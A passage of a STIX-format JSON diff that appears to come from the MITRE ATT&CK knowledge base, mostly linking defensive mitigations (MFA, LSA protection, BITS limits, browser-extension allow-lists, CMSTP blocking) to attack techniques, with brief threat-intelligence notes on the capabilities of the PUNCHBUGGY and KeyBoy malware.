"attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "modified": "2021-04-14T12:26:11.844Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-13T16:02:06.717Z", + "external_references": [ + { + "source_name": "UCF STIG Elevation Account Enumeration", + "description": "UCF. (n.d.). The system must require username and password to elevate a running application.. Retrieved December 18, 2017.", + "url": "https://www.stigviewer.com/stig/microsoft_windows_server_2012_member_server/2013-07-25/finding/WN12-CC-000077" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9ffc8525-79a5-40a2-b371-46052daf66c5", + "description": "Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.", + "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27", + "modified": "2021-04-20T16:21:28.892Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-13T16:04:04.082Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--21ea4371-e692-4731-9f8c-c3f4dff3c775", + "description": "Configure access controls and firewalls to limit access to critical systems and domain controllers. Most cloud environments support separate virtual private cloud (VPC) instances that enable further segmentation of cloud systems.", + "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27", + "modified": "2021-04-20T16:21:28.962Z", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-13T16:04:04.168Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--74e433ec-0c52-42f2-b0d4-3e1f3a56b419", + "description": "Use multi-factor authentication for user and privileged accounts.", + "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27", + "modified": "2021-04-20T16:21:28.925Z", + "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-13T16:04:04.180Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b8004278-152f-44bf-a24c-8a236e6369db", + "description": "Require that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing.(Citation: applescript signing) This subjects AppleScript code to the same scrutiny as other .app files passing through Gatekeeper.", + "target_ref": "attack-pattern--5ad95aaa-49c1-4784-821d-2e83f47b079b", + "modified": "2020-03-09T14:09:09.034Z", + "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-13T16:07:32.272Z", + "external_references": [ + { + "source_name": "applescript signing", + "description": "Steven Sande. (2013, December 23). AppleScript and Automator gain new features in OS X Mavericks. Retrieved September 21, 2018.", + "url": "https://www.engadget.com/2013/10/23/applescript-and-automator-gain-new-features-in-os-x-mavericks/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f767f3cf-3c2a-4bed-88e0-d088471edded", + "description": "Patch deployment systems regularly to prevent potential remote access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).", + "target_ref": "attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61", + "modified": "2020-03-23T15:40:51.380Z", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-13T16:10:48.292Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--db21d02a-539f-45fd-be5c-80d90ee276dc", + "description": "Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multi-factor authentication.", + "target_ref": "attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61", + "modified": "2020-03-23T15:40:51.381Z", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-13T16:10:48.305Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cf01aef4-c032-453e-a890-b7a01e744d9e", + "description": "If the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.", + "target_ref": "attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61", + "modified": "2020-03-23T15:40:51.376Z", + "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-13T16:10:48.347Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b79e03bb-a4c0-4724-bd4c-1286a3fd8d6a", + "description": "Changing UAC settings to \"Always Notify\" will give the user more visibility when UAC elevation is requested, however, this option will not be popular among users due to the constant UAC interruptions.", + "target_ref": "attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566", + "modified": "2020-01-24T15:00:47.379Z", + "source_ref": "course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-13T16:13:06.846Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a8377ce6-74bc-4115-8298-57da0f828e5a", + "description": "Windows 8.1, Windows Server 2012 R2, and later versions, may make LSA run as a Protected Process Light (PPL) by setting the Registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL, which requires all DLLs loaded by LSA to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)", + "target_ref": "attack-pattern--52d40641-c480-4ad5-81a3-c80ccaddf82d", + "modified": "2020-01-24T15:43:25.427Z", + "source_ref": "course-of-action--72dade3e-1cba-4182-b3b3-a77ca52f02a1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-13T16:38:06.135Z", + "external_references": [ + { + "source_name": "Graeber 2014", + "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.", + "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html" + }, + { + "source_name": "Microsoft Configure LSA", + "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.", + "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4df90c69-8ac5-4f22-b0cf-dd4debb8e051", + "description": "Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means.", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "modified": "2020-03-31T22:18:43.144Z", + "source_ref": "course-of-action--20a2baeb-98c2-4901-bad7-dc62d0a03dea", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-13T16:43:14.999Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--967c7069-6bb3-4f10-ba6b-5befdabe6c97", + "description": "Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means. Strong passwords should be used on certain encrypted documents that use them to prevent offline cracking through [Brute Force](https://attack.mitre.org/techniques/T1110) techniques.", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "modified": "2020-03-31T22:18:43.158Z", + "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-13T16:43:15.017Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--57d1a497-ef75-46de-b284-eefa90a99172", + "description": "\nConsider reducing the default BITS job lifetime in Group Policy or by editing the JobInactivityTimeout and MaxDownloadTime Registry values in HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\BITS.(Citation: Microsoft BITS)", + "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7", + "modified": "2021-04-13T21:36:05.231Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-13T16:47:55.972Z", + "external_references": [ + { + "source_name": "Microsoft BITS", + "description": "Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018.", + "url": "https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4b4d8f9e-a416-4af6-9c20-582892601668", + "description": "Modify network and/or host firewall rules, as well as other network controls, to only allow legitimate BITS traffic.", + "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7", + "modified": "2021-04-13T21:36:05.235Z", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-13T16:47:56.005Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--99e9cb52-5893-41c2-bd96-def10ccecfe9", + "description": "Ensure proper permissions are in place to help prevent adversary access to privileged accounts necessary to install a bootkit.", + "target_ref": "attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d", + "modified": "2020-03-20T19:53:25.783Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-13T16:49:49.538Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cce47265-080f-4148-b9c9-cd99eb1e2b2f", + "description": "Use Trusted Platform Module technology and a secure or trusted boot process to prevent system integrity from being compromised. (Citation: TCG Trusted Platform Module) (Citation: TechNet Secure Boot Process) (Citation: TCG Trusted Platform Module) (Citation: TechNet Secure Boot Process)", + "target_ref": "attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d", + "modified": "2020-04-23T19:10:28.421Z", + "source_ref": "course-of-action--7da0387c-ba92-4553-b291-b636ee42b2eb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-13T16:49:49.549Z", + "external_references": [ + { + "source_name": "TCG Trusted Platform Module", + "description": "Trusted Computing Group. (2008, April 29). Trusted Platform Module (TPM) Summary. Retrieved June 8, 2016.", + "url": "http://www.trustedcomputinggroup.org/wp-content/uploads/Trusted-Platform-Module-Summary_04292008.pdf" + }, + { + "source_name": "TechNet Secure Boot Process", + "description": "Microsoft. (n.d.). Secure the Windows 10 boot process. Retrieved April 23, 2020.", + "url": "https://docs.microsoft.com/en-us/windows/security/information-protection/secure-the-windows-10-boot-process" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bef3018a-1a38-4d1f-83ae-094f6c18f2a4", + "description": "\nClose out all browser sessions when finished using them to prevent any potentially malicious extensions from continuing to run.", + "target_ref": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8", + "modified": "2021-04-27T19:56:54.579Z", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-13T16:53:10.321Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--08dea09a-e7f5-4e6d-a142-73548f6f1498", + "description": "Only install browser extensions from trusted sources that can be verified. Browser extensions for some browsers can be controlled through Group Policy. Change settings to prevent the browser from installing extensions without sufficient permissions.", + "target_ref": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8", + "modified": "2021-04-27T19:56:54.621Z", + "source_ref": "course-of-action--23843cff-f7b9-4659-a7b7-713ef347f547", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-13T16:53:10.338Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e13f1e41-fc5c-4cd3-ad6b-62bc597c959a", + "description": "Set a browser extension allow or deny list as appropriate for your security policy. (Citation: Technospot Chrome Extensions GP)", + "target_ref": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8", + "modified": "2021-04-27T19:56:54.623Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-13T16:53:10.350Z", + "external_references": [ + { + "source_name": "Technospot Chrome Extensions GP", + "description": "Mohta, A. (n.d.). Block Chrome Extensions using Google Chrome Group Policy Settings. Retrieved January 10, 2018.", + "url": "http://www.technospot.net/blogs/block-chrome-extensions-using-google-chrome-group-policy-settings/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0e686457-461d-496b-b838-dc8ca57a9f32", + "description": " Ensure extensions that are installed are the intended ones as many malicious extensions will masquerade as legitimate ones.", + "target_ref": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8", + "modified": "2021-04-27T19:56:54.689Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-13T16:53:10.363Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d1f67e5c-72c6-4e26-91d4-bc8593e61774", + "description": "Refer to NIST guidelines when creating password policies.(Citation: NIST 800-63-3)", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", + "modified": "2021-09-30T19:18:17.177Z", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-13T16:59:18.369Z", + "external_references": [ + { + "source_name": "NIST 800-63-3", + "description": "Grassi, P., et al. (2017, December 1). SP 800-63-3, Digital Identity Guidelines. Retrieved January 16, 2019.", + "url": "https://pages.nist.gov/800-63-3/sp800-63b.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cb87a0ce-0976-49e5-8e9c-2c908a24b30f", + "description": "Use multi-factor authentication. Where possible, also enable multi-factor authentication on externally facing services.", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", + "modified": "2021-09-30T19:18:17.179Z", + "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-13T16:59:18.386Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c1a6c86e-5d5d-4cf1-845e-1660d9c19baf", + "description": "Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Too strict a policy may create a denial of service condition and render environments un-usable, with all accounts used in the brute force being locked-out.", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", + "modified": "2021-09-30T19:18:17.071Z", + "source_ref": "course-of-action--f9f9e6ef-bc0a-41ad-ba11-0924e5e84c4c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-13T16:59:18.442Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--629ac426-ec81-4183-80c0-b7fead5e3b19", + "description": "Remove users from the local administrator group on systems.", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "modified": "2020-02-05T20:08:34.078Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-13T18:50:51.732Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f5ba1404-3e7e-4692-8a39-9e62e5d9542c", + "description": "Although UAC bypass techniques exist, it is still prudent to use the highest enforcement level for UAC when possible and mitigate bypass opportunities that exist with techniques such as [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "modified": "2020-02-05T20:08:34.097Z", + "source_ref": "course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-13T18:50:51.747Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e9cb90ec-499b-4dd9-ab5d-cc4d3995ed67", + "description": "Preventing users from deleting or writing to certain files can stop adversaries from maliciously altering their ~/.bash_history files.", + "target_ref": "attack-pattern--d3046a90-580c-4004-8208-66915bc29830", + "modified": "2020-01-31T12:32:52.541Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-13T18:53:41.290Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--42c25ff0-78e6-45fd-b131-a8c4564aa009", + "description": "Making the associated environment variables read only can make sure that the history is preserved.(Citation: Securing bash history)", + "target_ref": "attack-pattern--d3046a90-580c-4004-8208-66915bc29830", + "modified": "2020-01-31T12:32:52.564Z", + "source_ref": "course-of-action--609191bf-7d06-40e4-b1f8-9e11eb3ff8a6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-13T18:53:41.301Z", + "external_references": [ + { + "source_name": "Securing bash history", + "description": "Mathew Branwell. (2012, March 21). Securing .bash_history file. Retrieved July 8, 2017.", + "url": "http://www.akyl.net/securing-bashhistory-file-make-sure-your-linux-system-users-won%E2%80%99t-hide-or-delete-their-bashhistory" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--dc317420-200a-40e1-97f0-4d76f5f3412f", + "description": "Consider using application whitelisting configured to block execution of CMSTP.exe if it is not required for a given system or network to prevent potential misuse by adversaries. (Citation: MSitPros CMSTP Aug 2017)", + "target_ref": "attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3", + "modified": "2020-01-31T18:58:17.404Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-13T18:55:24.662Z", + "external_references": [ + { + "url": "https://msitpros.com/?p=3960", + "description": "Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018.", + "source_name": "MSitPros CMSTP Aug 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--add62ca8-e30a-4f6c-8186-770956f85305", + "description": "CMSTP.exe may not be necessary within a given environment (unless using it for VPN connection installation).", + "target_ref": "attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3", + "modified": "2020-01-31T18:58:17.444Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-13T18:55:24.675Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a1505946-76d9-4acb-8b1a-02c926915702", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "modified": "2020-07-06T17:54:28.228Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-13T18:58:06.815Z", + "external_references": [ + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8506f2ac-e856-4d13-ac7e-fc88c4ec3c15", + "description": "Disable Autoruns if it is unnecessary.(Citation: Microsoft Disable Autorun)", + "target_ref": "attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef", + "modified": "2020-07-14T19:44:50.992Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-13T18:59:41.067Z", + "external_references": [ + { + "source_name": "Microsoft Disable Autorun", + "description": "Microsoft. (n.d.). How to disable the Autorun functionality in Windows. Retrieved April 20, 2016.", + "url": "https://support.microsoft.com/en-us/kb/967715" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--73faed96-608b-4740-894f-0e2eaee92343", + "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) has Gzipped information and saved it to a random temp file before exfil.(Citation: Morphisec ShellTea June 2019)\t", + "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662", + "modified": "2020-03-30T02:40:51.999Z", + "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-06-13T19:12:07.261Z", + "external_references": [ + { + "source_name": "Morphisec ShellTea June 2019", + "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.", + "url": "http://blog.morphisec.com/security-alert-fin8-is-back" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3c0cb507-2bf0-46ab-b5c2-ba2865397722", + "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) can gather AVs registered in the system.(Citation: Morphisec ShellTea June 2019)\t", + "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", + "modified": "2019-06-28T20:48:52.653Z", + "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-06-13T19:12:07.290Z", + "external_references": [ + { + "source_name": "Morphisec ShellTea June 2019", + "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.", + "url": "http://blog.morphisec.com/security-alert-fin8-is-back" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ec85433f-2635-4e7c-af49-6dbfb269dbbd", + "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) can gather system information such as computer names.(Citation: Morphisec ShellTea June 2019)\t", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "modified": "2019-06-28T20:48:52.676Z", + "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-06-13T19:12:07.298Z", + "external_references": [ + { + "source_name": "Morphisec ShellTea June 2019", + "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. 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Retrieved June 14, 2019.", + "url": "https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--63920a70-160d-46b3-a55f-05e8d7d30ba1", + "description": "[KeyBoy](https://attack.mitre.org/software/S0387) uses custom SSL libraries to impersonate SSL in C2 traffic.(Citation: PWC KeyBoys Feb 2017)", + "target_ref": "attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc", + "modified": "2020-03-27T20:55:47.935Z", + "source_ref": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-06-14T16:51:02.178Z", + "external_references": [ + { + "source_name": "PWC KeyBoys Feb 2017", + "description": "Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019.", + "url": "https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8833fac6-778f-4cf8-8b2a-6dee29164ffa", + "description": "[KeyBoy](https://attack.mitre.org/software/S0387) has a download and upload functionality.(Citation: PWC KeyBoys Feb 2017)(Citation: Rapid7 KeyBoy Jun 2013)", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "modified": "2019-06-30T22:48:21.907Z", + "source_ref": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-06-14T16:51:02.187Z", + "external_references": [ + { + "source_name": "PWC KeyBoys Feb 2017", + "description": "Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019.", + "url": 